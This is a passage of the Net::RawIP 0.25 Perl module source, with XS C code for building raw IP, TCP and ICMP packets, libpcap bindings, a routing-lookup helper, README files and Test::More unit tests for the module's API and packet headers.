RETVAL = newSVpv((char*)&pii,sizeof(IIPKT)); sv_catsv(RETVAL,*av_fetch(pkt,19,0)); } if (!pii.ich.checksum) { piir = (u_char*) SvPV(RETVAL,PL_na); ((struct icmphdr*)(piir + iplen))->checksum = in_cksum((unsigned short *)(piir + iplen),8 + SvCUR(*av_fetch(pkt,19,0))); sv_setpvn(RETVAL,(char*)piir,iplen + 8 + SvCUR(*av_fetch(pkt,19,0))); } OUTPUT: RETVAL SV * generic_pkt_creat(p) SV * p CODE: int opt,iplen; SV * ip_opts; AV * pkt; struct iphdr ih; u_char *pigr; opt = 0; iplen = 20; if (SvTYPE(SvRV(p)) == SVt_PVAV) pkt = (AV *)SvRV(p); else croak("Not array reference\n"); ih.version = SvIV(*av_fetch(pkt,0,0)); ih.ihl = SvIV(*av_fetch(pkt,1,0)); ih.tos = SvIV(*av_fetch(pkt,2,0)); ih.tot_len = BSDFIX(SvIV(*av_fetch(pkt,3,0))); if (!ih.tot_len) ih.tot_len = BSDFIX(iplen + SvCUR(*av_fetch(pkt,11,0))); ih.id = htons(SvIV(*av_fetch(pkt,4,0))); ih.frag_off = BSDFIX(SvIV(*av_fetch(pkt,5,0))); ih.ttl = SvIV(*av_fetch(pkt,6,0)); ih.protocol = SvIV(*av_fetch(pkt,7,0)); ih.check = htons(SvIV(*av_fetch(pkt,8,0))); ih.saddr = htonl(SvIV(*av_fetch(pkt,9,0))); ih.daddr = htonl(SvIV(*av_fetch(pkt,10,0))); if (!ih.check) ih.check = in_cksum((unsigned short *)&ih,iplen); if (av_fetch(pkt,12,0)) { if (SvROK(*av_fetch(pkt,12,0))) { opt++; ip_opts = ip_opts_creat(*av_fetch(pkt,12,0)); if (ih.ihl <= 5) ih.ihl = 5 + SvCUR(ip_opts)/4; iplen = 20 + SvCUR(ip_opts); if (!ih.tot_len) ih.tot_len = BSDFIX(20 + SvCUR(ip_opts) + SvCUR(*av_fetch(pkt,11,0))); ih.check = 0; RETVAL = newSVpv((char*)&ih,20); sv_catsv(RETVAL,ip_opts); pigr = (u_char*) SvPV(RETVAL,PL_na); ((struct iphdr*)pigr)->check = in_cksum((unsigned short *)pigr,iplen); sv_setpvn(RETVAL,(char*)pigr,iplen); sv_catsv(RETVAL,*av_fetch(pkt,11,0)); sv_2mortal(ip_opts); } } if (!opt) { RETVAL = newSVpv((char*)&ih,iplen); sv_catsv(RETVAL,*av_fetch(pkt,11,0)); } OUTPUT: RETVAL SV * tcp_pkt_creat(p) SV * p CODE: int ipo,opt,iplen; AV * pkt; SV * ip_opts; SV * tcp_opts; u_char * ptr; u_char * tptr; ITPKT pit; u_char *pitr; ipo = 0; opt = 0; iplen = 20; if (SvTYPE(SvRV(p)) == SVt_PVAV) pkt = (AV *)SvRV(p); else croak("Not array reference\n"); pit.ih.version = SvIV(*av_fetch(pkt,0,0)); pit.ih.ihl = SvIV(*av_fetch(pkt,1,0)); pit.ih.tos = SvIV(*av_fetch(pkt,2,0)); pit.ih.tot_len = BSDFIX(SvIV(*av_fetch(pkt,3,0))); if (!pit.ih.tot_len) pit.ih.tot_len = BSDFIX(iplen + TCPHDR + SvCUR(*av_fetch(pkt,27,0))); pit.ih.id = htons(SvIV(*av_fetch(pkt,4,0))); pit.ih.frag_off = BSDFIX(SvIV(*av_fetch(pkt,5,0))); pit.ih.ttl = SvIV(*av_fetch(pkt,6,0)); pit.ih.protocol = SvIV(*av_fetch(pkt,7,0)); pit.ih.check = htons(SvIV(*av_fetch(pkt,8,0))); pit.ih.saddr = htonl(SvIV(*av_fetch(pkt,9,0))); pit.ih.daddr = htonl(SvIV(*av_fetch(pkt,10,0))); if (!pit.ih.check) pit.ih.check = in_cksum((unsigned short *)&pit,iplen); pit.th.source = htons(SvIV(*av_fetch(pkt,11,0))); pit.th.dest = htons(SvIV(*av_fetch(pkt,12,0))); pit.th.seq = htonl(SvIV(*av_fetch(pkt,13,0))); pit.th.ack_seq = htonl(SvIV(*av_fetch(pkt,14,0))); pit.th.doff = SvIV(*av_fetch(pkt,15,0)); pit.th.res1 = SvIV(*av_fetch(pkt,16,0)); pit.th.res2 = SvIV(*av_fetch(pkt,17,0)); pit.th.urg = SvIV(*av_fetch(pkt,18,0)); pit.th.ack = SvIV(*av_fetch(pkt,19,0)); pit.th.psh = SvIV(*av_fetch(pkt,20,0)); pit.th.rst = SvIV(*av_fetch(pkt,21,0)); pit.th.syn = SvIV(*av_fetch(pkt,22,0)); pit.th.fin = SvIV(*av_fetch(pkt,23,0)); pit.th.window = htons(SvIV(*av_fetch(pkt,24,0))); pit.th.check = htons(SvIV(*av_fetch(pkt,25,0))); pit.th.urg_ptr = htons(SvIV(*av_fetch(pkt,26,0))); if (av_fetch(pkt,28,0)) { if(SvROK(*av_fetch(pkt,28,0))) { opt++; ip_opts = ip_opts_creat(*av_fetch(pkt,28,0)); pit.ih.ihl = 5 + SvCUR(ip_opts)/4; pit.ih.tot_len = BSDFIX(4*pit.ih.ihl + TCPHDR + SvCUR(*av_fetch(pkt,27,0))); iplen = 4*pit.ih.ihl; pit.ih.check = 0; ptr = (u_char*)safemalloc(4*pit.ih.ihl + TCPHDR); memcpy(ptr,(u_char*)&pit,20); memcpy(ptr+20,SvPV(ip_opts,PL_na),SvCUR(ip_opts)); memcpy(ptr+20+SvCUR(ip_opts),(u_char*)&pit + 20,TCPHDR); ((struct iphdr*)ptr)->check = in_cksum((unsigned short *)ptr,4*pit.ih.ihl); RETVAL = newSVpv((char*)ptr, sizeof(ITPKT)+SvCUR(ip_opts)); sv_catsv(RETVAL,*av_fetch(pkt,27,0)); Safefree(ptr); sv_2mortal(ip_opts); ipo = 1; } if (av_fetch(pkt,29,0)) { if (SvROK(*av_fetch(pkt,29,0))) { opt++; tcp_opts = tcp_opts_creat(*av_fetch(pkt,29,0)); if (ipo) { ptr = (u_char *)SvPV(RETVAL,PL_na); tptr = (u_char*)safemalloc(SvCUR(RETVAL) + SvCUR(tcp_opts) - SvCUR(*av_fetch(pkt,27,0))); ((struct iphdr*)ptr)->tot_len = BSDFIX(SvCUR(RETVAL) + SvCUR(tcp_opts)); ((struct iphdr*)ptr)->check = 0; ((struct iphdr*)ptr)->check = in_cksum((unsigned short *)ptr,iplen); ((struct tcphdr*)(ptr + iplen))->doff = 5 + SvCUR(tcp_opts)/4; memcpy(tptr,ptr,SvCUR(RETVAL)-SvCUR(*av_fetch(pkt,27,0))); memcpy(tptr+(SvCUR(RETVAL)-SvCUR(*av_fetch(pkt,27,0))), SvPV(tcp_opts,PL_na),SvCUR(tcp_opts)); sv_setpvn(RETVAL, (char *)tptr, SvCUR(RETVAL) + SvCUR(tcp_opts) - SvCUR(*av_fetch(pkt,27,0))); sv_catsv(RETVAL, *av_fetch(pkt,27,0)); } else { pit.ih.tot_len = BSDFIX(40+SvCUR(tcp_opts)+SvCUR(*av_fetch(pkt,27,0))); pit.ih.check = 0; pit.ih.check = in_cksum((unsigned short *)&pit,iplen); pit.th.doff = 5 + SvCUR(tcp_opts)/4; tptr = (u_char*)safemalloc(40+SvCUR(tcp_opts)); memcpy(tptr,&pit,40); memcpy(tptr+40,SvPV(tcp_opts,PL_na),SvCUR(tcp_opts)); RETVAL = newSVpv((char*)tptr, 40+SvCUR(tcp_opts)); sv_catsv(RETVAL, *av_fetch(pkt,27,0)); } Safefree(tptr); sv_2mortal(tcp_opts); } } } if (!opt) { RETVAL = newSVpv((char*)&pit,sizeof(ITPKT)); sv_catsv(RETVAL,*av_fetch(pkt,27,0)); } if (!pit.th.check) { pitr = (u_char *)SvPV(RETVAL,PL_na); ((struct tcphdr*)(pitr + iplen))->check = ip_in_cksum((struct iphdr *)pitr,(unsigned short *)(pitr + iplen), 4*((struct tcphdr*)(pitr + iplen))->doff + SvCUR(*av_fetch(pkt,27,0))); sv_setpvn(RETVAL,(char*)pitr,iplen+ 4*((struct tcphdr*)(pitr + iplen))->doff + SvCUR(*av_fetch(pkt,27,0))); } OUTPUT: RETVAL pcap_t * open_live(device,snaplen,promisc,to_ms,ebuf) char *device int snaplen int promisc int to_ms char * ebuf CODE: ebuf = (char*)safemalloc(PCAP_ERRBUF_SIZE); RETVAL = pcap_open_live(device, snaplen, promisc, to_ms, ebuf); Safefree(ebuf); OUTPUT: ebuf RETVAL pcap_t * open_offline(fname,ebuf) char *fname char *ebuf CODE: ebuf = (char*)safemalloc(PCAP_ERRBUF_SIZE); RETVAL = pcap_open_offline(fname,ebuf); Safefree(ebuf); OUTPUT: ebuf RETVAL SV * pcap_dump_open(p,fname) pcap_t *p char *fname CODE: RETVAL = newSViv((unsigned long)pcap_dump_open(p,fname)); OUTPUT: RETVAL char * lookupdev(ebuf) char *ebuf CODE: ebuf = (char*)safemalloc(PCAP_ERRBUF_SIZE); RETVAL = pcap_lookupdev(ebuf); Safefree(ebuf); OUTPUT: ebuf RETVAL int lookupnet(device,netp,maskp,ebuf) char *device bpf_u_int32 netp bpf_u_int32 maskp char *ebuf CODE: ebuf = (char*)safemalloc(PCAP_ERRBUF_SIZE); RETVAL = pcap_lookupnet(device,&netp,&maskp,ebuf); Safefree(ebuf); OUTPUT: netp maskp ebuf RETVAL void dump(ptr,pkt,user) SV * ptr SV * pkt SV * user CODE: pcap_dump((u_char*)PerlIO_findFILE(IoOFP(sv_2io(ptr))), (struct pcap_pkthdr*)(SvPV(pkt,PL_na)), (u_char*)(SvPV(user,PL_na))); int dispatch(p,cnt,print,user) pcap_t *p int cnt pcap_handler print SV * user CODE: printer = print; if (!SvROK(user) && SvOK(user)) { user = (SV *) SvIV(user); ptr = &handler; } else { ptr = &retref; } first = newSViv(0); second = newSViv(0); third = newSViv(0); RETVAL = pcap_dispatch(p,cnt,(pcap_handler)&call_printer,(u_char*)user); OUTPUT: RETVAL int loop(p,cnt,print,user) pcap_t *p int cnt pcap_handler print SV *user CODE: printer = print; if (!SvROK(user) && SvOK(user)) { user = (SV *)SvIV(user); ptr = &handler; } else { ptr = &retref; } first = newSViv(0); second = newSViv(0); third = newSViv(0); RETVAL = pcap_loop(p,cnt,(pcap_handler)&call_printer,(u_char*)user); OUTPUT: RETVAL int compile(p,fp,str,optimize,netmask) pcap_t * p struct bpf_program *fp char *str int optimize unsigned int netmask CODE: fp = (struct bpf_program *)safemalloc(sizeof(struct bpf_program)); RETVAL = pcap_compile(p,fp,str,optimize,netmask); OUTPUT: fp RETVAL int linkoffset(p) pcap_t * p CODE: RETVAL = linkoffset(pcap_datalink(p)); OUTPUT: RETVAL int pcap_setfilter(p,fp) pcap_t *p struct bpf_program *fp OUTPUT: RETVAL SV * next(p,h) pcap_t *p SV *h CODE: STRLEN len; u_char * hdr; const u_char * next; len = sizeof(struct pcap_pkthdr); if (!SvOK(h)) { sv_setpv(h,"new"); SvGROW(h,len) ; } hdr = (u_char *)SvPV(h,len) ; next = pcap_next(p,(struct pcap_pkthdr*)hdr); if (next) RETVAL = newSVpv((char *)next,((struct pcap_pkthdr*)hdr)->caplen); else RETVAL = newSViv(0); sv_setpvn(h,(char *)hdr,len); OUTPUT: h RETVAL int pcap_datalink(p) pcap_t *p OUTPUT: RETVAL int pcap_snapshot(p) pcap_t *p OUTPUT: RETVAL int pcap_is_swapped(p) pcap_t *p OUTPUT: RETVAL int pcap_major_version(p) pcap_t *p OUTPUT: RETVAL int pcap_minor_version(p) pcap_t *p OUTPUT: RETVAL int stat(p,ps) pcap_t *p u_char *ps CODE: ps = safemalloc(sizeof(struct pcap_stat)); RETVAL = pcap_stats(p,(struct pcap_stat*)ps); Safefree(ps); OUTPUT: ps RETVAL int pcap_fileno(p) pcap_t *p OUTPUT: RETVAL void pcap_perror(p,prefix) pcap_t *p char *prefix SV * pcap_geterr(p) pcap_t *p CODE: RETVAL = newSVpv(pcap_geterr(p),0); OUTPUT: RETVAL SV * pcap_strerror(error) int error CODE: RETVAL = newSVpv(pcap_strerror(error),0); OUTPUT: RETVAL void pcap_close(p) pcap_t *p void pcap_dump_close(p) pcap_dumper_t *p FILE * pcap_file(p) pcap_t *p OUTPUT: RETVAL Net-RawIP-0.25/rdev.c0000644000076500007650000001201210604431634016175 0ustar maddinguemaddingue00000000000000#include "EXTERN.h" #include "perl.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ROUNDUP(a) \ ((a) > 0 ? (1 + (((a) - 1) | (sizeof(long) - 1))) : sizeof(long)) #define ADVANCE(x, n) (x += ROUNDUP((n)->sa_len)) #define MAX_IFS 32 static int dev_name(u_int32_t ipaddr, u_char *name) { struct ifreq *ifr, *ifend; #ifdef HAVE_SOCKADDR_SA_LEN register int n; #endif u_long ina,mask,pdst; struct sockaddr_dl *dla; struct ifreq ifreq; struct ifconf ifc; struct ifreq ifs[MAX_IFS]; int s,len,ppp; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) perror("socket"); ifc.ifc_len = sizeof(ifs); ifc.ifc_req = ifs; if (ioctl(s, SIOCGIFCONF, &ifc) < 0) { close(s); return 0; } ifend = (struct ifreq *) (ifc.ifc_buf + ifc.ifc_len); for (ifr = ifc.ifc_req; ifr < ifend; ) { if (ifr->ifr_addr.sa_family == AF_INET) { ppp = 0; ina = ((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr.s_addr; strncpy(ifreq.ifr_name, ifr->ifr_name, sizeof(ifreq.ifr_name)); if (ioctl(s, SIOCGIFFLAGS, &ifreq) < 0) continue; if (!(ifreq.ifr_flags & IFF_UP)) goto nextif; if (ifreq.ifr_flags & IFF_POINTOPOINT) ppp = 1; if (ioctl(s, SIOCGIFNETMASK, &ifreq) < 0) continue; mask = ((struct sockaddr_in *) &ifreq.ifr_addr)->sin_addr.s_addr; if ((ipaddr & mask) ^ (ina & mask)) { if(!ppp) { goto nextif; } else { if (ioctl(s, SIOCGIFDSTADDR, &ifreq) < 0) continue; pdst = ((struct sockaddr_in *) &ifreq.ifr_addr)->sin_addr.s_addr; if (pdst ^ ipaddr) goto nextif; } } break; } nextif: #ifdef HAVE_SOCKADDR_SA_LEN n = ifr->ifr_addr.sa_len + sizeof(ifr->ifr_name); if (n < sizeof(*ifr)) { ifr = ifr + 1; } else { ifr = (struct ifreq *)((char *)ifr + n); } #else ifr = ifr + 1; #endif } if (ifr >= ifend) { close(s); return 0; } close(s); len = strlen(ifr->ifr_name); memcpy(name,ifr->ifr_name,len); return len; } int ip_rt_dev(u_int32_t addr,u_char *name) { size_t needed; int mib[6], rlen, seqno; char *buf, *next, *lim,i; register struct rt_msghdr *rtm; struct sockaddr *sa ; struct sockaddr_in *sin; u_int32_t devip = 0,dest,mask,gate,local; char *cp; local = htonl(0x7f000001); mib[0] = CTL_NET; mib[1] = PF_ROUTE; mib[2] = 0; mib[3] = 0; mib[4] = NET_RT_DUMP; mib[5] = 0; if (sysctl(mib, 6, NULL, &needed, NULL, 0) < 0){ croak("route-sysctl-estimate"); } if ((buf = malloc(needed)) == NULL){ croak("malloc"); } if (sysctl(mib, 6, buf, &needed, NULL, 0) < 0){ croak("route-sysctl-get"); } lim = buf + needed; for (next = buf; next < lim; next += rtm->rtm_msglen) { rtm = (struct rt_msghdr *)next; sa = (struct sockaddr *)(rtm + 1); cp = (char*)sa; if (sa->sa_family != AF_INET) continue; dest = mask = gate = 0; for (i = 1; i; i <<= 1) if (i & rtm->rtm_addrs) { sa = (struct sockaddr *)cp; switch (i) { case RTA_DST: sin = (struct sockaddr_in*)sa; dest = sin->sin_addr.s_addr; break; case RTA_GATEWAY: if(rtm->rtm_flags & RTF_GATEWAY){ sin = (struct sockaddr_in*)sa; gate = sin->sin_addr.s_addr; } break; case RTA_NETMASK: sin = (struct sockaddr_in*)sa; mask = sin->sin_addr.s_addr; break; } ADVANCE(cp, sa); } if(!(rtm->rtm_flags & RTF_LLINFO) && (rtm->rtm_flags & RTF_HOST)) mask = 0xffffffff; if(!mask && dest && (dest != local)) continue; if(!dest) mask = 0; if(dest == local) { dest = htonl(0x7f000000); mask = htonl(0xff000000); } if(!((mask & addr) ^ dest)){ switch (gate) { case 0: devip = addr; break; default: devip = gate; } } } free(buf); return dev_name(devip,name); } Net-RawIP-0.25/README0000644000076500007650000000210310604431634015751 0ustar maddinguemaddingue00000000000000This is Net::RawIP, a perl module can to manipulate raw IP packets, with an optional feature for manipulating Ethernet headers. NOTE: Ethernet related methods currently implemented only on Linux and *BSD! Help with port eth.c to other platforms is very appreciated. You need perl 5.004 or later to use this module. You need to have installed libpcap, available from: TBD If you are using Ubuntu you can install it by typing: sudo apt-get install libpcap0.7-dev or sudo apt-get install libpcap0.8-dev You install the module by running these commands: perl Makefile.PL make make test make install There are also some example scripts. Please report any bugs/suggestions to Sergey Kolychev All files contained in this installation are Copyright (c) 1998-2000 Sergey Kolychev unless otherwise specified. All rights reserved. This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. One can install a development versions using CPAN.pm: cpan> install S/SZ/SZABGAB/Net-RawIP-0.21_03.tar.gz Net-RawIP-0.25/README.Devel0000644000076500007650000000227310604431634017017 0ustar maddinguemaddingue00000000000000If you want to implement a subip protocol then read this,please. Let me to explain my propositions. I think that 1) There is no reason to implement all of the protocols in the one module. There are so many protocols. 2)There is a "generic" subclass which can be used for the implementing those subip protocols. You could to write the module for manipulate your desired protocol and use it with Net::RawIP. Let imagine that you have a module NetPacket::PROTO which know about a low level of the PROTO. Then ###################### #!/usr/bin/perl use Net::RawIP; use NetPacket::PROTO; $proto = new NetPacket::PROTO; $proto->set(.......); $datagramm = $proto->packet; $packet = new Net::RawIP({ ip => { protocol => NUMBER_OF_PROTO }, generic => { data => $datagramm } }); $packet->send; .... .... ($datagramm) = $packet->get({generic => [qw(data)]}); $proto->bset($datagramm); ($field1,$field2) = $proto->get(.....); #################### So you have to implement the methods (new,set,bset,get) for your desired protocol in your NetPacket::PROTO and you could use it with Net::RawIP. Is it ok for you ? Regards, Sergey. Net-RawIP-0.25/solaris.h0000644000076500007650000000073710604431634016731 0ustar maddinguemaddingue00000000000000/* * Some stuff to make Solaris look a little like Linux for compiling */ /* * Setup __LITTLE_ENDIAN, __BIG_ENDIAN, and __BYTE_ORDER */ #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #if defined(_BIG_ENDIAN) #define __BYTE_ORDER __BIG_ENDIAN #else #define __BYTE_ORDER __LITTLE_ENDIAN #endif #include /* * Some types */ typedef uint8_t u_int8_t; typedef uint16_t u_int16_t; typedef uint32_t u_int32_t; typedef uint64_t u_int64_t; Net-RawIP-0.25/t/0000755000076500007650000000000011102166627015341 5ustar maddinguemaddingue00000000000000Net-RawIP-0.25/t/00-load.t0000644000076500007650000000021311077211311016646 0ustar maddinguemaddingue00000000000000#!perl -T use strict; use Test::More tests => 1; use_ok( 'Net::RawIP' ); diag( "Testing Net::RawIP $Net::RawIP::VERSION under Perl $]" ); Net-RawIP-0.25/t/01-api.t0000644000076500007650000000237311102160506016510 0ustar maddinguemaddingue00000000000000#!perl -T use strict; use warnings; use Test::More; # public API my $module = "Net::RawIP"; my @exported_functions = qw( dispatch dump dump_open loop linkoffset ifaddrlist open_live rdev timem ); my @class_methods = qw( new optget optset optunset ); my @object_methods = qw( ); # tests plan plan tests => 1 + 2 * @exported_functions + 1 * @class_methods + 2 + 2 * @object_methods; # load the module use_ok( $module ); # check functions for my $function (@exported_functions) { can_ok($module, $function); can_ok(__PACKAGE__, $function); } # check class methods for my $methods (@class_methods) { can_ok($module, $methods); } # check object methods my $object = eval { $module->new }; is( $@, "", "creating a $module object" ); isa_ok( $object, $module, "check that the object" ); for my $method (@object_methods) { can_ok($module, $method); can_ok($object, $method); } __END__ # subs defined in lib/New/RawIP.pm qw< N2L _pack _unpack bset ethnew ethsend ethset generic_default get icmp_default mac n2L packet pcapinit pcapinit_offline proto s2i send send_eth_frame set tcp_default udp_default >; Net-RawIP-0.25/t/90-pod.t0000644000076500007650000000035411077211142016532 0ustar maddinguemaddingue00000000000000use strict; use warnings; use Test::More; plan skip_all => "Author tests" unless $ENV{AUTHOR_MODE}; plan skip_all => "Test::Pod 1.00 required for testing POD" unless eval "use Test::Pod; 1"; all_pod_files_ok(all_pod_files('.')); Net-RawIP-0.25/t/91-pod-coverage.t0000644000076500007650000000037211077211145020327 0ustar maddinguemaddingue00000000000000use strict; use warnings; use Test::More; plan skip_all => "Author tests" unless $ENV{AUTHOR_MODE}; plan skip_all => "Test::Pod::Coverage 1.00 required for testing POD coverage" unless eval "use Test::Pod::Coverage; 1"; all_pod_coverage_ok(); Net-RawIP-0.25/t/99-critic.t0000644000076500007650000000041211077207364017244 0ustar maddinguemaddingue00000000000000use strict; use warnings; use Test::More; plan skip_all => "Author tests" unless $ENV{AUTHOR_MODE}; plan skip_all => "Test::Perl::Critic required to criticise code" unless eval "use Test::Perl::Critic; 1"; all_critic_ok('blib'); #all_critic_ok('blib', 't'); Net-RawIP-0.25/t/iflist.t0000644000076500007650000000207011102162334017006 0ustar maddinguemaddingue00000000000000#!perl use strict; use warnings; use Data::Dumper qw(Dumper); use English qw(-no_match_vars); use Test::More; use Net::RawIP; plan tests => my $tests; my $loopback = undef; BEGIN { $tests += 3 } { my $list = ifaddrlist(); is( ref($list), 'HASH', 'ifaddrlist() return HASH ref'); ($loopback) = grep { exists $list->{$_} } qw(lo lo0); ok(exists $list->{$loopback}, "loopback interface is $loopback"); is($list->{$loopback}, '127.0.0.1', "loopback interface is 127.0.0.1"); } BEGIN { $tests += 4 } SKIP: { eval { rdev("127.0.0.1") }; skip "rdev() is not implemented on this system", 4 if $@ =~ /rdev\(\) is not implemented on this system/; is( rdev('127.0.0.1'), $loopback, "rdev('127.0.0.1') => $loopback" ); is( rdev('localhost'), $loopback, "rdev('localhost') => $loopback" ); my $r = eval { rdev('ab cd') }; like( $@, qr{host_to_ip: failed}, "rdev('ab cd') => undef" ); # this test will fail if there is not network connection $r = rdev('cisco.com'); ok( $r, "rdev('cisco.com') => $r" ); } Net-RawIP-0.25/t/memory_leak.t0000644000076500007650000000522111077674020020034 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Data::Dumper qw(Dumper); use English qw(-no_match_vars); use Test::More; use Net::RawIP; plan skip_all => "Proc::ProcessTable is needed for this test" unless eval "use Proc::ProcessTable; 1"; plan skip_all => "Proc::ProcessTable does not support the size attribute on this platform" unless eval { my $s = get_process_size($$) }; plan tests => my $tests; diag "Testing Net::RawIP v$Net::RawIP::VERSION"; # one can run this test giving a number on the command line # 10,000 seems to be reasonable my $count = shift || 10_000; do_something(); my $start_size = get_process_size($$); diag "Testing memory leak, running $count times"; diag "Start size: $start_size"; for (2..$count) { do_something(); } sub do_something { my $n = Net::RawIP->new({ udp => {} }); $n->set({ ip => { saddr => 1, daddr => 2, }, udp => { source => 0, dest => 100, data => 'payload', }, }); } my $end_size = get_process_size($$); my $size_change = $end_size - $start_size; diag "End size: $end_size"; diag "Size change was: $size_change"; cmp_ok($size_change, '<', 200_000, 'normally it should be 0 but we are satisfied with 200,000 here, see comments in test file'); BEGIN { $tests += 1; } # Once upon a time there was a memory leak on Solaris created by the above # loop. # # In order to test the fix I created this test. # On my development Ubuntu GNU/Linux machine the # starting size was around 7,300,000 bytes # while the size change was constantly 1,064,960 # no matter if I ran the loop 1000 times or 1,000,000 times # (though the latter took 5 minutes...) # On another Linux machine (same OS, different HW) the change was 1,167,360 # On a Sun Solaris it was 1,220,608 (for 100, 1000, 10,000 and 100,000) # I guess this the memory footprint of the external libraries that are loaded # during run time and there is no memory leek. # In order to reduce the external libraries issue I have changed the test. # The first memory measurement is now done after calling the loop once # This way the difference was only 122,880 on the Linux machine. # I still cannot explain this change # If you want, you can run the same test with different nuber of times: # perl -Iblib/lib -Iblib/arch t/memory_leak.t 1000000 sub get_process_size { my ($pid) = @_; my $pt = Proc::ProcessTable->new; foreach my $p ( @{$pt->table} ) { return $p->size if $pid == $p->pid; } return } Net-RawIP-0.25/t/set_icmp.t0000644000076500007650000000070311077215344017333 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Data::Dumper qw(Dumper); use English qw( -no_match_vars ); use Test::More; my $tests; plan tests => $tests; use Net::RawIP qw{ :pcap }; is( test_undef(), 1, 'no_undefs' ); BEGIN { $tests += 1; } sub test_undef { my $raw = Net::RawIP->new({ icmp => {} }); $raw->set({ icmp => { type => 8, id => $$ }, }); return 0 if grep {!defined($_)} @{ $raw->{icmphdr} }; return 1; } Net-RawIP-0.25/t/simple.t0000644000076500007650000001263311077216022017020 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Test::More; my $tests; plan tests => $tests; use Data::Dumper qw(Dumper); use English qw( -no_match_vars ); use_ok 'Net::RawIP'; diag "Testing $Net::RawIP::VERSION"; { my $rawip = Net::RawIP->new; isa_ok($rawip, 'Net::RawIP'); #diag Dumper $rawip; is($rawip->proto, 'tcp', 'default protocol is tcp'); ok($rawip->{pack}); isa_ok($rawip->{tcphdr}, 'Net::RawIP::tcphdr'); # TODO: is that empty element in the end really needed? is_deeply($rawip->{tcphdr}, [0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 65535, 0, 0, ''], 'tcphdr is correct'); isa_ok($rawip->{iphdr}, 'Net::RawIP::iphdr'); is_deeply($rawip->{iphdr}, [4, 5, 16, 0, 0, 16384, 64, 6, 0, 0, 0], 'iphdr is correct'); #$rawip->ethnew('eth0'); #diag Dumper $rawip; is_deeply([sort keys %$rawip], [qw(iphdr pack proto tcphdr)]); BEGIN { $tests += 8; } } { my $rawip = Net::RawIP->new({ udp => {} }); isa_ok($rawip, 'Net::RawIP'); is($rawip->proto, 'udp', 'protocol is set to udp'); my @iphdr_result = (4, 5, 16, 0, 0, 16384, 64, 17, 0, 0, 0); my @udphdr_result = (0, 0, 0, 0, ''); isa_ok($rawip->{udphdr}, 'Net::RawIP::udphdr'); isa_ok($rawip->{iphdr}, 'Net::RawIP::iphdr'); #diag Dumper $rawip; is_deeply($rawip->{udphdr}, \@udphdr_result); is_deeply($rawip->{iphdr}, \@iphdr_result); $rawip->set({ ip => { saddr => 3, daddr => 2, }, udp => { source => 55, dest => 100, data => 'payload', }, }); @iphdr_result[9, 10] = (3, 2); @udphdr_result[0, 1, 4] = (55, 100, 'payload'); is_deeply([sort keys %$rawip], [qw(iphdr pack proto udphdr)]); is_deeply($rawip->{udphdr}, \@udphdr_result); is_deeply($rawip->{iphdr}, \@iphdr_result); $rawip->set({ ip => { saddr => 1, }, }); $iphdr_result[9] = 1; is_deeply($rawip->{udphdr}, \@udphdr_result); is_deeply($rawip->{iphdr}, \@iphdr_result); my @array = $rawip->get(); is_deeply(\@array, [], 'empty get in list context'); my $request = { ip => [qw(tos saddr daddr)], tcp => [qw(psh syn urg ack rst fin)], udp => [qw(source dest data)], }; @array = $rawip->get($request); is_deeply(\@array, [16, 1, 2, 55, 100, 'payload'], 'get in list context'); #diag Dumper \@array; my $scalar = $rawip->get; is_deeply($scalar, {}, 'empty get in scalar context'); $scalar = $rawip->get($request); is_deeply($scalar, { 'tos' => 16, 'source' => 55, 'saddr' => 1, 'daddr' => 2, 'dest' => 100, 'data' => 'payload' }, 'get in scalar context'); #diag Dumper $scalar; #$rawip->send(0,1); BEGIN { $tests += 16; } } { my $rawip = Net::RawIP->new({ udp => {} }); my $pack = $rawip->optset(); is($pack, $rawip->{pack}); my $data = 'load12345'; $pack = $rawip->optset(ip => { type => [(7)], data => [($data)], }); is($pack, $rawip->{pack}); isa_ok($rawip->{optsip}, 'Net::RawIP::opt'); is_deeply($rawip->{optsip}, [[7], [11], ['load12345']]); is_deeply($rawip->{udphdr}, [0, 0, 0, 0, '', [7, 11, 'load12345']]); #diag Dumper $rawip; my @res = $rawip->optget(ip => {}); is_deeply(\@res, [7, 11, 'load12345'], 'optget ip'); #diag Dumper \@res; $rawip->optunset('ip'); #diag Dumper $rawip; isnt(exists($rawip->{optsip}), 'optsip removed'); is_deeply($rawip->{udphdr}, [0, 0, 0, 0, '', 0], 'udphdr reset'); BEGIN { $tests += 8; } } { my $rawip = Net::RawIP->new({ icmp => {} }); isa_ok($rawip, 'Net::RawIP'); is($rawip->proto, 'icmp', 'protocol is set to icmp'); #diag Dumper $rawip; my @iphdr_result = (4, 5, 16, 0, 0, 16384, 64, 1, 0, 0, 0); my @icmphdr_result = (0, 0, 0, 0, 0, 0, 0, 0, ''); isa_ok($rawip->{icmphdr}, 'Net::RawIP::icmphdr'); isa_ok($rawip->{iphdr}, 'Net::RawIP::iphdr'); #diag Dumper $rawip; is_deeply($rawip->{icmphdr}, \@icmphdr_result); is_deeply($rawip->{iphdr}, \@iphdr_result); is_deeply([sort keys %$rawip], [qw(icmphdr iphdr pack proto)]); BEGIN { $tests += 7; } } { my $rawip = Net::RawIP->new({ generic => {} }); isa_ok($rawip, 'Net::RawIP'); is($rawip->proto, 'generic', 'protocol is set to generic'); #diag Dumper $rawip; my @iphdr_result = (4, 5, 16, 0, 0, 16384, 64, 0, 0, 0, 0); isa_ok($rawip->{generichdr}, 'Net::RawIP::generichdr'); isa_ok($rawip->{iphdr}, 'Net::RawIP::iphdr'); #diag Dumper $rawip; is_deeply($rawip->{generichdr}, ['']); is_deeply($rawip->{iphdr}, \@iphdr_result); is_deeply([sort keys %$rawip], [qw(generichdr iphdr pack proto)]); BEGIN { $tests += 7; } } { eval { Net::RawIP->new({ no_such => {} }); }; like($@, qr{'no_such' is not a valid key}); eval { Net::RawIP->new({ generic => {}, tcp => {} }); }; like($@, qr{Duplicate protocols defined: 'tcp' and 'generic'}); BEGIN { $tests += 2; } } # TODO: pass constructor invalid fields # TODO: test the content of the ->{pack} variable Net-RawIP-0.25/t/timem.t0000644000076500007650000000023110604431634016634 0ustar 